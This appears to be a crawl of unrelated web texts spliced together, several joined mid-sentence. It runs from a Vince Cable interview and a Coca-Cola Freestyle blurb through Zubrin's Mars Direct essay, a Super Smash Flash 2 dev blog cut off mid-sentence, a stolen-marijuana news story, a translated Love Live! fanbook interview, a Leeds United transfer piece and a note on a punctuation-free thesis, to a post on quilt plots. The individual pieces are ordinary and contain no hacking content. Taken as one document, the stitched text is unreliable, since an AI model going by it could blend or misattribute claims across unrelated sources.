He cites Jeremy Corbyn, Bernie Sanders and even Donald Trump (“I hate to use Trump as an example, but he’s touching 70”; Trump is 71), as well as Britain’s first Liberal prime minister: “The great William Ewart Gladstone was 82, I think, when he won his last election.”
Yet many Lib Dems say that it’s time for a younger, fresher face. There was widespread disappointment that Jo Swinson, who could have been their first female leader, didn’t stand. Cable praises Swinson, who will be his deputy, but he insists that he is “not standing as a caretaker”.
“Gender isn’t an issue any more, rightly so,” he adds. “Thanks to Obama, race isn’t really an issue any more – at least, we hope not. And age shouldn’t be, either. It should be who you are and what you have to say.”
A big test for Vince Cable’s leadership will be whether he is still associated with the 2010-15 Tory-led government and the tuition fees betrayal. “Coalition nostalgia is creeping in,” he claims, but he still warns against a coalition with the Tories or Labour. “I have the metaphor of mating with a praying mantis,” he says, as his pale blue eyes twinkle with amusement. “You get eaten at the end of it. We don’t want to go down that road again.”Dare I say it? This is a refreshing use of network technology. Add a Windows CE touchscreen, fancy "microdosing" technology and a network connection to a Coca-Cola machine and you get a the next "must have" soda fountain device. A company called Bsquare has worked with Coca-Cola to create the Coke Freestyle machine, a device that whips up 100 custom sodas for you, using a touchscreen interface and a backlink to soda maker's network (and recipe book).
The Freestyle machine uses highly concentrated ingredients and the software mixes these together based on microdosing recipes. The result is more than 100 different types of beverages served without the need for a back room full of giant canisters. Because the device is connected directly to Coca-Cola’s network, it can be managed remotely. Restaurant operators can order new supplies based on demand consumption trends and Coca-Cola can track sales and diagnose equipment issues. The network can also help handle routine stuff, like downloading new artwork for new selections directly into the unit's display area.
The dispenser is aimed at the restaurant market, not the home consumer (although, maybe this is the next big gift for the home theater room that has everything else?). Freestyle is being tested in various markets in the United States.From Ad Astra May/June 1996
Introduction: The New World
Beyond the Moon lies Mars, the next great step in humanity’s outward migration into space. Mars is hundreds of times farther away than the Moon, but it offers a much greater prize. Indeed, uniquely among the extraterrestrial bodies of our solar system, Mars is endowed with all the resources needed to support not only life but the development of a technological civilization. In contrast to the comparative desert of the Earth’s Moon, Mars possesses oceans of water frozen into its soil as permafrost, as well as vast quantities of carbon, nitrogen, hydrogen, and oxygen, all in forms readily accessible to those clever enough to use them.
Additionally, Mars has experienced the same sorts of volcanic and hydrologic processes that produced a multitude of mineral ores on Earth. Virtually every element of significant interest to industry is known to exist on the Red Planet. With its 24-hour day/night cycle and an atmosphere thick enough to shield its surface against solar flares, Mars is the only extraterrestrial planet that will readily allow large-scale greenhouses lit by natural sunlight.
Mars can be settled. For our generation and many that will follow, Mars is the New World.
Mars Direct
Some have said that a human mission to Mars is a venture for the far future, a task for “the next generation.” Such a point of view has absolutely no basis in fact. On the contrary, the United States has in hand, today, all the technologies required for undertaking an aggressive, continuing program of human Mars exploration, with the first piloted mission reaching the red planet Mars within a decade. We do not need to build giant spaceships embodying futuristic technologies in order to go to Mars. We can reach the Red Planet with relatively small spacecraft launched directly to Mars by boosters embodying the same technology that carried astronauts to the Moon more than a quarter-century ago. The key to success comes from following a “travel light and live off the land” strategy similar to that which has well-served terrestrial explorers for centuries. The plan to approach the Red Planet in this way is called “Mars Direct.”
Here’s how the Mars Direct plan works. At an early launch opportunity, for example 2005, a single heavy-lift booster with a capability equal to that of the Saturn V used during the Apollo program, is launched off Cape Canaveral and uses its upper stage to throw a 40 tonne unmanned payload onto a trajectory to Mars. Arriving at Mars eight months later, it uses friction between its aeroshield and Mars’ atmosphere to brake itself into orbit around Mars, and then lands with the help of a parachute. This payload is the Earth Return Vehicle (ERV), and it flies out to Mars with its two methane/oxygen driven rocket propulsion stages unfueled. It also has with it six tonnes of liquid hydrogen cargo, a 100 kilowatt nuclear reactor mounted in the back of a methane/oxygen driven light truck, a small set of compressors and an automated chemical processing unit, and a few small scientific rovers.
As soon as landing is accomplished, the truck is telerobotically driven a few hundred meters away from the site, and the reactor is deployed to provide power to the compressors and chemical processing unit. The hydrogen brought from Earth can be quickly reacted with the Martian atmosphere, which is 95% carbon dioxide gas (CO2), to produce methane and water, and this eliminates the need for longterm storage of cryogenic hydrogen on the planet’s surface. The methane so produced is liquefied and stored, while the water is electrolyzed to produce oxygen, which is stored, and hydrogen, which is recycled through the methanator. Ultimately these two reactions (methanation and water electrolysis) produce 24 tonnes of methane and 48 tonnes of oxygen. Since this is not enough oxygen to burn the methane at its optimal mixture ratio, an additional 36 tonnes of oxygen is produced via direct dissociation of Martian CO 2.
The entire process takes 10 months, at the conclusion of which a total of 108 tonnes of methane/oxygen bipropellant will have been generated. This represents a leverage of 18:1 of Martian propellant produced compared to the hydrogen brought from Earth needed to create it. Ninety-six tonnes of the bipropellant will be used to fuel the ERV, while 12 tonnes are available to support the use of high-powered, chemically fueled long-range ground vehicles. Large additional stockpiles of oxygen can also be produced, both for breathing and for turning into water by combination with hydrogen brought from Earth. Since water is 89% oxygen (by weight), and since the larger part of most foodstuffs is water, this greatly reduces the amount of life-support consumables that need to be hauled from Earth.
The propellant production having been successfully completed, in 2007 two more boosters lift off the Cape and throw their 40 tonne payloads towards Mars. One of the payloads is an unmanned fuel factory/ERV just like the one launched in 2005, the other is a habitation module containing a crew of four, a mixture of whole food and dehydrated provisions sufficient for three years, and a pressurized methane/oxygen driven ground rover. On the way out to Mars, artificial gravity can be provided to the crew by extending a tether between the habitat and the burnt out booster upper stage, and spinning the assembly. Upon arrival, the manned craft drops the tether, aerobrakes, and then lands at the 2005 landing site where a fully fueled ERV and fully characterized and beaconed landing site await it.
With the help of such navigational aids, the crew should be able to land right on the spot; but if the landing is off course by tens or even hundreds of miles, the crew can still achieve the surface rendezvous by driving over in their rover; if they are off by thousands of miles, the second ERV provides a backup. However assuming the landing and rendezvous at site number one is achieved as planned, the second ERV will land several hundred miles away to start making propellant for the 2009 mission, which in turn will fly out with an additional ERV to open up Mars landing site number three.
Thus every other year two heavy lift boosters are launched, one to land a crew, and the other to prepare a site for the next mission, for an average launch rate of just one booster per year to pursue a continuing program of Mars exploration. This is only about 10% of the U.S. launch capability, and is clearly affordable. In effect, this “live off the land” approach removes the manned Mars mission from the realm of mega-fantasy and reduces it to practice as a task of comparable difficulty to that faced in launching the Apollo missions to the Moon.
The crew will stay on the surface for one and a half years, taking advantage of the mobility afforded by the high-powered, chemically driven ground vehicles to accomplish a great deal of surface exploration. With a 12-tonne surface fuel stockpile, they have the capability for over 14,000 miles worth of traverse before they leave, giving them the kind of mobility necessary to conduct a serious search for evidence of past or present life on Mars — an investigation key to revealing whether life is a phenomenon unique to Earth or general throughout the universe.
Since no one has been left in orbit, the entire crew will have available to them the natural gravity and protection against cosmic rays and solar radiation afforded by the Martian environment, and thus there will not be the strong driver for a quick return to Earth that plagues conventional Mars mission plans based upon orbiting mother-ships with small landing parties. At the conclusion of their stay, the crew returns to Earth in a direct flight from the Martian surface in the ERV. As the series of missions progresses, a string of small bases is left behind on the Martian surface, opening up broad stretches of territory to human cognizance.
We Can Do It
Such is the basic Mars Direct plan. In 1990, when it was first put forward, it was viewed as too radical for NASA to consider seriously, but over the past couple of years with the encouragement of former NASA Associate Administrator for Exploration Mike Griffin and current NASA Administrator Dan Goldin, the group at Johnson Space Center in charge of designing human Mars missions decided to take a good hard look at it. They produced a detailed study of a Design Reference Mission based on the Mars Direct plan but scaled up about a factor of two in expedition size compared to the original concept. They then produced a cost estimate for what a Mars exploration program based upon this expanded Mars Direct approach would cost. Their result: $50 billion, with the estimate produced by the same costing group that assigned a $400 billion price tag to the traditional cumbersome approach to human Mars exploration embodied in NASA’s 1989 “90-Day Report.”
In essence, by taking advantage of the most obvious local resource available on Mars — its atmosphere — the plan allows us to accomplish a manned Mars mission with what amounts to a lunar-class transportation system. By eliminating any requirement to introduce a new order of technology and complexity of operations beyond those needed for lunar transportation to accomplish piloted Mars missions, the plan can reduce costs by an order of magnitude and advance the schedule for the human exploration of Mars by a generation.
Exploring Mars requires no miraculous new technologies, no orbiting spaceports, and no gigantic interplanetary space cruisers. We can establish our first small outpost on Mars within a decade. We and not some future generation can have the eternal honor of being the first pioneers of this new world for humanity. All that’s needed is present-day technology, some 19th century industrial chemistry, and a little bit of moxie.
Colonizing Mars
The question of colonizing Mars is not fundamentally one of transportation. If we were to use the same heavy lift boosters used in the Mars Direct plan to launch people to Mars on one-way trips, firing them off at the same rate we currently launch the space shuttle, the United States today could populate Mars at a rate comparable to that at which the British colonized North America in the 1600s — and at lower expense relative to our resources. No, the problem of colonizing Mars is not that of moving large numbers to the Red Planet, but of the ability to use Martian resources to support an expanding population once they are there. The technologies required to do this will be developed at the first Mars base, which will thus act as the beachhead for the wave of immigrants to follow. Initial Mars Direct exploration missions approach Mars in a manner analogous to terrestrial hunter-gatherers, and utilize only its most readily available resource, the atmosphere, to meet the basic needs of fuel and oxygen. In contrast, a permanently staffed base will approach Mars from the standpoint of agricultural and industrial society. It will develop techniques for extracting water out of the soil, for conducting increasingly large-scale greenhouse agriculture, for making ceramics, metals, glasses and plastics out of local materials, and constructing large pressurized structures for human habitation and industrial and agricultural activity.
Over time, the base will transform itself into a small town. The high cost of transportation between Earth and Mars will provide a strong financial incentive to find astronauts willing to extend their surface stay beyond the basic one and a half year tour of duty, to four years, six years, and more. Experiments have already been done showing that plants can be grown in greenhouses filled with CO 2, at Martian pressures; the Martian settlers will thus be able to set up large inflatable greenhouses to provide the food required to feed an expanding resident population. Mobile microwave units will be used to extract water from Mars’ abundant permafrost, supporting such agriculture and making possible the manufacture of large amounts of brick and concrete, the key materials required to build large pressurized structures.
While the base will start as an interconnected network of Mars Direct style “tuna can” habitats, by its second decade the settlers could live in brick-and concrete-built pressurized domains the size of shopping malls. Not too long afterwards, the expanding local industrial activity will make possible a vast expansion in living space by manufacturing large supplies of high-strength plastics like kevlar and spectra that will allow the creation of inflatable domes encompassing Sun-lit pressurized areas up to 100 meters in diameter.
Each new reactor landed will add to the power supply, as will locally produced solar panels and windmills. However because Mars has been volcanically active in the recent geological past, it is also highly probable that hot underground hydrothermal reservoirs exist on the Red Planet. Once such reservoirs are found, they can be used to supply the settlers with abundant supplies of both water and geothermal power. As more people steadily arrive and stay longer before they leave, the population of the town will grow. In the course of things, children will be born, and families raised on Mars, the first true colonists of a new branch of human civilization.
While the initial exploration and base-building activities on Mars can be supported by government largess, a true colony must eventually become economically self-supporting. The Mars colony will be able to do this by exporting both ideas and materials. Just as the labor shortage prevalent in colonial and 19th century America drove the creation of Yankee Ingenuity’s flood of inventions, so the conditions of extreme labor shortage combined with a technological culture and the unacceptability of impractical legislative constraints against innovation will drive Martian ingenuity to produce wave after wave of invention in energy production, automation and robotics, biotechnology, and other areas. These inventions, licensed on Earth, will finance Mars even as they revolutionize and advance terrestrial living standards as forcefully as 19th century American invention changed Europe and ultimately the rest of the world as well.
In addition to inventions though, Mars may also be able to export minerals. Like the Earth, Mars has had a complex geologic history, sufficient to form rich mineral ores. Unlike the Earth, however, Mars has not had people on it for the past 5,000 years scavenging all the readily available rich mineral deposits to be found on its surface. Rich, untapped mineral deposits of gold, silver, uranium, platinum, palladium, and other precious metals may all exist on the Martian surface.
Even at this early date in its exploration, however, Mars is already known to possess a vital resource that could someday represent a commercial export. Deuterium, the heavy isotope of hydrogen currently valued at $10,000 per kilogram, is five times more common on Mars than it is on Earth. Deuterium has its applications today, but it is also the basic fuel for fusion reactors, and in the future when such systems come into play as a major foundation of Earth’s energy economy, the market for deuterium will expand greatly.
Martian colonists will be able to use rocket hoppers using locally produced propellants to lift such resources from the Martian surface to Mars’ moon Phobos, where an electromagnetic catapult can be enplaced capable of firing the cargo off to Earth for export. Alternatively, on Mars it will also be possible to build a “skyhook” consisting of a cable whose center of mass is located at a distance from which it will orbit the planet in synchrony with Mars’ daily rotation. To an observer on the Martian surface such cables will appear to stand motionless, allowing payloads to be delivered to space via cable car. Because of strength of materials limits, such systems cannot be built on Earth, but in Mars’ 3/8 gravity they may well be feasible. If so, they would give the Mars colonists the unique ability not merely to transport goods to Earth, but to access the resources present throughout the rest of the solar system. Mars will become the central base and port of call for exploration and commerce heading out to the asteroid belt, the outer solar system, and beyond.
Life in the initial Mars settlements will be harder than life on Earth for most people, but life in the first North American colonies was much harder than life in Europe as well. People will go to Mars for many of the same reasons they went to colonial America: because they want to make a mark, or to make a new start, or because they are members of groups who are persecuted on Earth, or because they are members of groups who want to create a society according to their own principles.
Many kinds of people will go, with many kinds of skills, but all who go will be people who are willing to take a chance to do something important with their lives. Out of such people are great projects made and great causes won. Aided by ever advancing technology, such people can transform a planet and bring a dead world to life.
The Significance of the Martian Frontier
“We have come recently to boast of a global economy without thinking of its implications, of how unfortunate we are in finding it. It would be more cheering if news should come, that by some freak of the solar system, another world had swung gently into our orbit and moved so close that a bridge could be built over which people could pass to new continents untenanted and new seas uncharted. Would those eager immigrants repeat the process they followed when they had that opportunity, or would they redress the grievances of the old Earth by a new bill of rights…? The availability of such a new planet, at any rate, would prolong, if it did not save, a civilization based on dynamism, and in the prolongation the individual would again enjoy a spell of freedom…” “The people are going to miss the frontier more than words can express. For four centuries they heard its call, listened to its promises, and bet their lives and fortunes on its outcome. It calls no more.” —Walter Prescott Webb, The Great Frontier, 1951.
Western humanist civilization, as we know and value it today, was born in expansion, grew in expansion, and can only exist in a dynamic expanding state. While some form of human society might persist in a non-expanding world, that society will not feature freedom, creativity, individuality, or progress, and placing no value on those aspects of humanity that differentiate us from animals it will place no value on human rights or human life either.
Such a dismal future might seem an outrageous prediction, except for the fact that for nearly all of its history most of humanity has been forced to endure static modes of social organization, and the experience has not been a happy one. Free societies are the exception in human history, they have only existed during the four centuries of frontier expansion of the West. That history is now over, the frontier that was opened by the voyage of Christopher Columbus is now closed. If the era of western humanist society is not to be seen by future historians as some kind of transitory golden age, a brief shining moment in an otherwise endless chronicle of human misery, then a new frontier must be opened.
Humanity needs Mars. An open frontier on Mars will allow for the preservation of cultural diversity which must vanish within the single global society that is rapidly being created on Earth. The necessity of life on Mars will create a strong driver for technological progress that will produce a flood of innovations that will upset any tendency towards technological stagnation on the mother planet.
The labor shortage that will exist on Mars will function in much the same way as the labor shortage did in 19th-century America; driving not only technological but social innovation, increasing pay and public education, and in every way setting a new standard for a higher form of humanist civilization. Martian settlers, building new cities, defining new laws and customs, and ultimately transforming their planet will know sensuously, and prove to all outside observers, that human beings are the makers of their world, and not merely its inhabitants. By doing so they will reaffirm in the most powerful way possible the humanist notion of the dignity and value of mankind.
Mars beckons.Welcome to your weekly dose of Dev Blog! I’m 194, one of the old school developers of Super Smash Flash 2. Among other things, I’m at charge of managing Audio and Music and you might have read my name in the previous Music Blog. Either way, that’s not what we’re here for tonight.
As we always say, “everything is subject to change”. “Everything” includes characters, designs and movesets. Today we’re going to explore two characters who have received deep gameplay changes from v0.9b to Beta. Some of them might as well be introduced as newcomers.
But let’s go one by one and visit a character who has been in the eye of our fanbase for quite a long time already.
Come on, bring it!
As you are probably already aware thanks to our latest Direct, Lloyd has received a few new moves and some interesting aesthetic changes. As usual, we were not satisfied with just that. Lloyd has received some important moveset changes as well and that’s what we’re going to cover now!
One of the most widely-noticed changes in our Direct (and the subsequent Smash Con stream) was that Rising Falcon, Lloyd’s Down Aerial, was nowhere to be found. It being such an iconic move, we decided to not remove, but rather just to move it. Where, you ask?
Down Special: Rising Falcon
To Down Special! When used in midair, it will behave like the move you all remember – albeit a lot stronger than before.
...Falling Falcon!
When used from the ground, though, Lloyd will first leap upwards in a puff of smoke and then dive downwards at a 45° angle. The attack is two hits, and carries opponents from the initial weak hit into a much more powerful final hit. Make sure to use it for KOs!
Side Special: Tempest
Lloyd’s new Side Special, Tempest, involves him jumping straight forward while spinning. The leap itself is not too long, but be careful! If you don’t find any obstacle, Lloyd will fall helplessly to his doom.
Little Lloyd visits the blast zone.
If you DO find an opponent…
Ouch!
Lloyd will deliver several hits while rising. This attack does not KO very well, but it racks up considerable damage. It can also hit shields, so it might be a good idea to try it on a defense-happy opponent.
And I know what you’re thinking about now. “Where’s my Sonic Thrust?”
Here it is!
Considering it’s a
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investigation was launched and information was obtained that implicated the construction workers who had been working in the vault.”
The department received a tip that helped lead to the arrests, according to authorities.
“After we got information on who was believed to have been involved, we got a warrant and then executed the warrants at the residences,” Singleton said.
Burgert was taken into custody Wednesday night, and Jones was arrested early Thursday, according to police.
During a search of the two residences, about four pounds of what is believed to be the stolen marijuana was recovered.
The marijuana, because of its age and condition, only had about a $10,000 street value, according to the Lauderdale Drug Task Force. If, as seems likely, they mean all 48 pounds, they’re estimating this pot is worth just over $200 a pound.
Some of the marijuana recovered was so old it was moldy, according to investigators.
Speaking of 48 pounds, that’s how much pot is missing from the evidence vault, according to cops — but they say they only recovered four pounds.
“We do know they sold some of the drugs and we can account for about four pounds of the 48 pounds that were taken,” said Chief Singleton, reports Jerrita Patterson at WHNT
That leaves 44 pounds of sub-standard, stale, moldy pot which is unaccounted for. If you’re in Florence and you just scored weed from a sketchy source, look at that shit to make sure you’re not smoking moldy oldies. And if you are, send in a picture of that garbage so we can run it with this story.
Singleton claimed nothing else has been found missing from the vault.
He said there was “some neglect” in what happened, and claimed “that’s been addressed” through an internal investigation.
The chief claimed new security measures, such as installing cameras inside the evidence vault, will be put in place.
“This is an unfortunate incident, but we’ve learned a lot of lessons from this and we will take actions to make sure nothing like this happens again,” the chief said.
Singleton said he was pleased police were able to catch the alleged thieves quickly, but he’s still disappointed in how the two men were able to get their hands on the drugs in the first place. “These kind of situations in hindsight are 20/20,” said Singleton. “We can think of a dozen things we could have done to prevent this. We certainly learned some lessons about that.”
Bergert and Jones are being held in the Lauderdale County Detention Center, each with $30,000 bail.Did a thing and need to post it somewhere. I-It’s not like I’m reviving this blog or anything!
A translation of the BiBi interview from the Love Live! School Idol Festival Official Fanbook.
BiBi is a sub-unit of μ’s, consisting of seiyuus 南條愛乃 (NANJOU Yoshino; voice of Eli), Pile (voice of Maki), and 徳井青空 (Tokui Sora; voice of Nico).
Scans courtesy of cowboybibimbop at mogyutto: http://mogyutto.tumblr.com/post/94234342776
Related links
Love Live! Official Website (JP): http://www.lovelive-anime.jp
Love Live! School Idol Festival Official Website (JP): http://lovelive.bushimo.jp
Love Live! School Idol Festival Official Website (EN): http://www.school-fes.klabgames.net
Love Live! School Idol Festival Official Fanbook on CDJapan: http://www.cdjapan.co.jp/product/NEOBK-1675724
Legend
Interviewer – Grey
Jorno (NANJOU Yoshino) – Cyan
Pile – Red
Soramaru (TOKUI Sora) – Pink
― Since you all started playing LLSIF since it first came out, could you tell me about your initial impressions of the game?
Jorno: The first time I saw the cards in the game, it was full of regular club members [i.e. Not μ’s], so I thought “I want to hurry up and get all nine μ’s members!” (laughs)
Soramaru: I put Nico as my center ever since I did my first draw. I wanted to hear my voice, so when I got to the main screen I touched Nico’s picture many times to hear it (laughs)
Jorno: I get what you mean! Even though it’s my own voice I still wanted to hear it [in the game].
Pile: I also wanted to hear myself voicing Maki-chan in the game, but I never got Maki in my draws…
Jorno: It’s kind of like a “greed sensor”, isn’t it (laughs). The ones that I want didn’t appear at all either…
Soramaru: Totally! In my case, I got Elichika and Maki-chan, but I didn’t get any Nico… Especially the UR Nico, it didn’t appear at all!
Pile: For me, it’s Maki that I can’t seem to get. Even when I get URs, it’s all Nico!
Jorno: Even when there’s a BiBi-only draw…
All 3: We don’t get what we want!
― Not getting the ones you want seems to be the same for everyone I guess (laughs). So, what do you think are the most appealing points of LLSIF?
Jorno: Playing μ’s songs is a big one, but I think being able to hear all the girls’ voices is a huge draw as well. Each member has a different voice that you can listen to, and when you bond max an awakened idol you can read her side story. It’s because of this that I naturally keep playing and leveling up… there’s no end to it (laughs).
Pile: Even though it’s a rhythm game where you play while listening to the songs, you can still listen to the songs with the game open (like when you’re commuting) so it’s just like a jukebox.
Soramaru: What I want from a smartphone application is lots of talking and lots of cute pictures. In LLSIF, even when it’s downloading something you can keep tapping the characters to make them talk, so I can’t stop tapping them (laughs). Even if I don’t get the card I want, the cute illustrations keep on coming, so I keep wanting to collect them all.
Jorno: Plus, the envelopes have different colours when you do a draw, right? Whenever I see a dark pink envelope fly out, I think “It’s here!” and I like this [feeling] (laughs).
Pile: And then there’s the sadness of when only regular envelopes come out… (laughs)
Soramaru: My user ID is open to the public so when there is a Score Match going on I announce on Twitter that I’m playing right now. I think it’s fun to be able to interact with fans by competing with them [in the game].
― Earlier Pile mentioned that she plays [LLSIF] during her commute, does everyone also play when they’re on the move?
Pile: I play a lot [during my commute].
Jorno: I do play on the train, but I do “muon shanshan” (Note: muted play).
― Wow, muted play! But isn’t it hard to tap to the notes in time when you mute the game?
Jorno: Actually, it’s not that bad.
Pile: For example the sound doesn’t mislead you?
Jorno: Yup. In my head I have an idea of which notes [I need to tap], but when I listen to the song, there’s sometimes a difference between the notes [in the game and in my head]. “Ohh, there weren’t 3 consecutive taps here. It’s actually slower” kind of thing. If I follow the notes inside my head, I can even play it when I’m listening to a different song.
Soramaru: I’d like to try it! Sounds fun! (laughs)
Jorno: But I only do that when I’m outside (laughs). When I’m at home I play with all the bells and whistles.
Soramaru: I can’t play at all if I don’t put my smartphone on [a table or something stable], so I don’t play in the train and I mostly focus on doing that at home. When I do [play at home] I play with my index and middle fingers.
― Everyone seems to be playing mainly on the smartphone, but do any of you play on the tablet too?
Soramaru: When I was filming the LLSIF CM, I was playing on the tablet, but the intensity is quite different!
Pile: It’s because the screen is bigger I guess. For me I still feel like it’s easier to play on the smartphone.
Jorno: Rippi (note: Iida Riho) plays on the iPad, and during our lunch breaks I would play with Rippi and Kussun (note: Kusuda Aina) and we’d play on the iPad together by splitting it into 3 (laughs). “I’ll take care of these three notes” kind of thing.
Soramaru: I’ve also used the iPad mini to play it with two people, but when you play doubles you need to make compromises for the center (laughs).
― Speaking of which, it seems like everyone has been playing a lot, so what rank are you?
Soramaru: My rank’s not very high at all!
Jorno: I restarted the game once so my rank’s not very high.
Pile: I just play the game normally and I got to Rank 44. My Rank doesn’t go up much~
Jorno: Oh!? Me, I’m Rank 53.
Soramaru: I started playing right from the beginning but I’m only at Rank 34 (laughs)
Jorno: I guess I actually play a lot (laughs). Plus, I tried really hard to get SS (score and combo rank S) on “WILD STARS” and “Susume Tomorrow” so there are some traces left from that.
Soramaru: “Nawatobi” and “Natsu, Owaranaide” are pretty relaxed songs but they’re surprisingly hard.
Pile: Anyway [when I play] on Hard I get impatient then I can’t stay in sync with the rhythm anymore and end up going “oi!” (laughs).
― Does everyone play the more difficult songs [in the game]?
Jorno: I cleared two Expert songs.
Soramaru: Wow! I really like playing on Normal but it doesn’t give much EXP…
Pile: I usually play on Hard mode. The goal [I set for myself] is to get a Full Combo so that’s what I have in mind when I play (laughs). It feels good when I get an S-rank combo. I guess I haven’t full comboed “Kaguya no Shiro de Odoritai”. And I still can’t seem to clear
soldier game! That one is super hard, isn’t it!
Soramaru: In Score Match I get to play songs I haven’t unlocked yet so there I got to play “Sore wa Bokutachi no Kiseki” on Hard, and it was really hard.
― It’s really appealing how all of the μ’s members are fully voiced in LLSIF, but are there any stories or dialogue that left a strong impression on you?
Jorno: In Eli’s side stories there were times when she acted very boldy, as if tempting the player [who is reading it], to the point where I was thinking “Huh, did I record this?” (laughs). There was a part about watching fireworks together and in this scene Eli said something like “It would be nice if someone would strongly embrace me…umm…I meant that I want you to do this,” and I thought “Uhh, Eli…what, did I say that?” (laughs). It’s the line that I find the most shocking and it also happens to be a line that I’ve taken to recently.
Soramaru: The line that gets me is “Nico no dansu, joozu?” (“Nico’s dance, wasn’t it great?”) which plays when a song ends. I’d like to say “Was I good?” at the end of a live performance too (laughs). I also really like all the short shout-outs that play when a skill activates [during a song].
Pile: I have Kotori-chan as the center of my unit, and when a song ends she says “Susume~ Susume~!”, which I find cute and soothing.
― And finally, can you tell me what are some things you would like to see in LLSIF?
Soramaru: I think everyone would like it if there was an arcade version of LLSIF!
Pile: I’d like to play that!
Soramaru: Something like “Put in 100 yen-nico!”
Jorno: Whenever you put in a coin you could make it say “Harasho!, I think it’d be interesting if it said “Harasho!” (laughs).
Pile: And when you stop playing the game it’d say “Nanisore, imi wakannai!” (laughs).
Soramaru: You could even limit [the arcade machine] to [use in] gaming conventions only, so please make it.
Results of the 11-card Premium Draw
To commemorate (?) the LLSIF interview, each member of BiBi took a stab at the 11-card premium draw. Here are the results!
Top-batter is Pile-san. She drew one SR but there was a problem with the equipment so she rolled a second time. The result is as you see in the picture, R only.
Unfortunately, second batter Tokui-san also had R only. The SR guaranteed draw had just ended the day before the interview so… oops?
And last but not least is Nanjou-san. As staff and members were hoping for, [Nanjou-san] splendidly drew two URs and one SR. Everyone cheered!On the Move: former United striker Matt Smith speaks to Leon Wobschall about his time at Elland Road and thanks the fans for their support.
AT JUST 25, Matt Smith’s footballing story may have several chapters still to pen, but it has been some tale so far.
His move from Leeds United to Fulham in a deal in excess of £750,000 late on Monday evening was the latest twist in the giant striker’s rollercoaster journey, which began in earnest when he left Cheltenham Town as a youngster before playing for a host of non-league sides, while also completing a degree in international business management degree.
After spells with the likes of Redditch and Solihull Moors, Smith secured a crack at the big time at Oldham Athletic in 2011, doing well enough to earn his Championship passage to Elland Road in the summer of 2013.
A tally of 13 goals last term continued the impressive upward curve of his footballing graph, which he was fully entitled to think would continue at Leeds with the ink on a new three-year deal barely dry before he found himself being sold to Fulham.
It may represent another surprise thrown up relatively early in Smith’s professional career, but while the nature of his exit from United was something that he was certainly not expecting, he harbours no sense of bitterness whatsoever.
Obvious disappointment at not being able to continue his United journey, yes, although Smith – a more articulate, thoughtful and thoroughly nice professional footballer you would struggle to find – remains eternally grateful for his association with a club he has embraced every facet of.
Not just a club, but a city in the shape of Leeds.
His new footballing life has now started in the capital and is one he is fully envisaging he will relish.
Yet he remains keen to thank those who helped him along the way and supported him at Leeds. It may have been prematurely ended, but it will remain special all the same.
Good grace has been a commendable characteristic in the career of Smith, who admitted on signing for Leeds that he would ‘always be in debt’ to former Oldham manager Paul Dickov, who handed him his craved-for professional chance at Boundary Park.
Similarly, the Birmingham-born forward took time to personally thank the man who took him to Elland Road in Brian McDermott after he left United by mutual consent at the end of May – publicly acknowledging his role in his development in 2013-14.
Now thanks are being bestowed in the direction of the United hordes, who packed out Valley Parade’s Midland Road stand to raucously cheer a Smith goal for the last time seven days ago when he headed home in trademark fashion in the club’s televised Capital One Cup derby defeat at Bradford.
On his exit, Smith told the YEP: “I don’t leave with an ounce of bitterness or nothing like that at all.
“There was a bit of surprise going from signing a long-term contract to then being told: ‘no we are looking to get rid of.’
“But that is football and ultimately it is a game of opinions. It was not meant to be this time around.”
Smith, whose debut from the bench in front of a huge crowd of 33,432 in United’s dramatic opening-day home win over Brighton in August 2013 was about as far removed from his early forays in non-league football as it gets, added: “Leeds been the highlight of my career so far, without a doubt.
“I have absolutely loved every minute of it and the way the fans have accepted and treated me has been very overwhelming and I just want to say a massive, massive thank you to them for the incredible support that they have given me over my time at Leeds, albeit it was only 14 months.
“The fans have been tremendous with me along with everyone at the club. They have looked after me really well and I am leaving with extremely fond memories. It will always be a special club for me.
“Representing such a big club as Leeds United was just the biggest honour along with having some good personal success there, in my eyes.
“It is something I will always remember fondly.
“It was just the way that the fans took to me and the support I got from everyone. The club is underpinned by some really great people.
“To work with some of those was brilliant and I will never forget it.”
Smith now links up again with one familiar face and key figure from his United career in Ross McCormack – between them, the pair managed to fire 42 of United’s 64 goals in all competitions last term.
Both will again line up in a white jersey, but it is that of Fulham, with the duo making what is sure to be an emotional return to Elland Road on December 13.
Famously back at the start of July, Smith admitted that he would be personally devastated if McCormack left, labelling him as the ‘best player in the division’.
Alongside their goals, the pair contributed 15 assists between them for goals last season, with Smith highlighting their close friendship away from the pitch as being a ‘massive help’ for the bustling forward in his first taste of the Championship. Smith’s fervent desire that McCormack would stay at Elland Road amid endless speculation surrounding the Scottish international’s future in pre-season may have not been realised, but the irony of him linking up again with his good friend is something that is hardly lost on him.
Yet equally, Smith remains determined to carve out his own niche and be his ‘own man’ at Fulham and just as he vowed not to be intimated by the task ahead when he joined Leeds, he will not be cowed at being under the spotlight of Fulham, who have endured a difficult start to the season after being rated right at the forefront of the promotion favourites ahead of the big kick-off. Smith added: “I don’t want to make it too much about the partnership with Ross. “But we did have a great understanding and it worked really well between us and we had a successful time at Leeds.
“But ultimately, I am my own man and I am really looking forward to trying to help out the team and contributing as bad as I can and continuing to improve. “I just want to kick on at Fulham and have as much success as I did at Leeds. It is a big thing for me; to relentlessly self-improve and become the best player I can.”A UBC PhD candidate has completed his 149-page thesis without any punctuation whatsoever. Wait… what?
The word count for Patrick Stewart’s dissertation comes to 52,438 words, but it does not contain any commas, periods or semi-colons, which have all been substituted with extra spacing. The thesis also does not consist of normal paragraphs or proper formatting you would expect from a standard paper – for the most part, it reads like a run-on sentence that never ends.
According to the National Post, Stewart is a 61-year-old architect from the Nisga’a First Nation pursuing a doctorate in interdisciplinary studies. He wanted to make a statement about colonialism, aboriginal culture and “the blind acceptance of English language conventions in academia.”
His first draft was written in Nisga’a language, but that was rejected. While Stewart was warned some people might not understand his revised work in his form of English, the panel responsible for his academic fate gave a unanimous final decision – a pass for his thesis.
The full thesis can be downloaded here. Here is an excerpt of Stewart’s thesis introduction:Marie Curie says stop hating on quilt plots already.
“There are sadistic scientists who hurry to hunt down error instead of establishing the truth.” -Marie Curie (http://en.wikiquote.org/wiki/Marie_Curie)
Thanks to Kasper H. for that quote. I think it is a perfect fit for today’s culture of academic put down as academic contribution. One perfect example is the explosion of hate against the quilt plot. A quilt plot is a heatmap with several parameters selected in advance; that’s it. This simplification of R’s heatmap function appeared in the journal PLoS One. They say (though not up front and not clearly enough for my personal taste) that they know it is just a heatmap.
Over the course of the next several weeks quilt plots went viral. Here are a few example tweets. It was also [> “There are sadistic scientists who hurry to hunt down error instead of establishing the truth.” -Marie Curie (http://en.wikiquote.org/wiki/Marie_Curie)
